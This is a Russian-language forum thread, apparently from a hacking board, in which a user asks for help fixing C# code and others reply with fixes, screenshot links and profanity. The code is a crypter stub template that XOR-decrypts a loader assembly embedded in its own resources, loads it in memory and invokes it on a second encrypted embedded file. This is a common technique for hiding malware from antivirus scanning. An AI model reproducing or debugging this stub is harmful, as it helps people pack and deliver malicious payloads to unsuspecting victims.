Ребят, помогите с кодом, где ошибка? private delegate object invoc(object inst, object[] arg); static void Main(string[] args) { ResourceManager res = new ResourceManager("[resName]", Assembly.Load(File.ReadAllBytes(Application.ExecutablePath))); byte[] bLoad = (byte[])res.GetObject("[loaderName]"); byte[] arra = Decrypt(bLoad, "[keyEnc]"); Assembly asm = Assembly.Load(arra); MethodInfo mi = asm.GetType("Builder.Load").GetMethod("Stub"); Delegate del = Delegate.CreateDelegate(typeof(invoc), mi, "Invoke"); del.DynamicInvoke(new object[] { null, new object[] { (byte[]) res.GetObject("[fileName]"), "[keyEnc]" } }); } Код private delegate object invoc(object inst, object[] arg); static void Main(string[] args) { ResourceManager res = new ResourceManager("[resName]", Assembly.Load(File.ReadAllBytes(Application.ExecutablePath))); byte[] bLoad = (byte[])res.GetObject("[loaderName]"); byte[] arra = Decrypt(bLoad, "[keyEnc]"); Assembly asm = Assembly.Load(arra); MethodInfo mi = asm.GetType("Builder.Load").GetMethod("Stub"); Delegate del = Delegate.CreateDelegate(typeof(invoc), mi, "Invoke"); del.DynamicInvoke(new object[] { null, new object[] { (byte[]) res.GetObject("[fileName]"), "[keyEnc]" } }); }
http://prntscr.com/jem3jf Ты запихиваешь аргументы в массив объектов, и получается, что передаешь 1 аргумент? Попробуй так: http://prntscr.com/jem3jf
Ахуенно ты блять нарисовал, профессионально. Для кого Такая функция создана? Код Такая функция создана?
class Program { private delegate object invoc(object inst, object[] arg); static void Main(string[] args) { ResourceManager res = new ResourceManager("[resName]", Assembly.Load(File.ReadAllBytes(Application.ExecutablePath))); byte[] bLoad = (byte[])res.GetObject("[loaderName]"); byte[] arra = Decrypt(bLoad, "[keyEnc]"); Assembly asm = Assembly.Load(arra); MethodInfo mi = asm.GetType("BlackJack.Load").GetMethod("Whores"); // Delegate del = Delegate.CreateDelegate(typeof(invoc, mi, "Invoke"); del.DynamicInvoke( null, new object[] { (byte[]) res.GetObject("[fileName]"), "[keyEnc]" } }); } private static byte[] Decrypt(byte[] data, string pass) { byte[] bytes = Encoding.UTF8.GetBytes(pass); int num = 0; for (int i = 0; i < data.Length; i++) { data[i] ^= bytes[num++]; if (num == bytes.Length) { num = 0; } } return data; } } Код class Program { private delegate object invoc(object inst, object[] arg); static void Main(string[] args) { ResourceManager res = new ResourceManager("[resName]", Assembly.Load(File.ReadAllBytes(Application.ExecutablePath))); byte[] bLoad = (byte[])res.GetObject("[loaderName]"); byte[] arra = Decrypt(bLoad, "[keyEnc]"); Assembly asm = Assembly.Load(arra); MethodInfo mi = asm.GetType("BlackJack.Load").GetMethod("Whores"); // Delegate del = Delegate.CreateDelegate(typeof(invoc, mi, "Invoke"); del.DynamicInvoke( null, new object[] { (byte[]) res.GetObject("[fileName]"), "[keyEnc]" } }); } private static byte[] Decrypt(byte[] data, string pass) { byte[] bytes = Encoding.UTF8.GetBytes(pass); int num = 0; for (int i = 0; i < data.Length; i++) { data[i] ^= bytes[num++]; if (num == bytes.Length) { num = 0; } } return data; } } http://prntscr.com/jescnl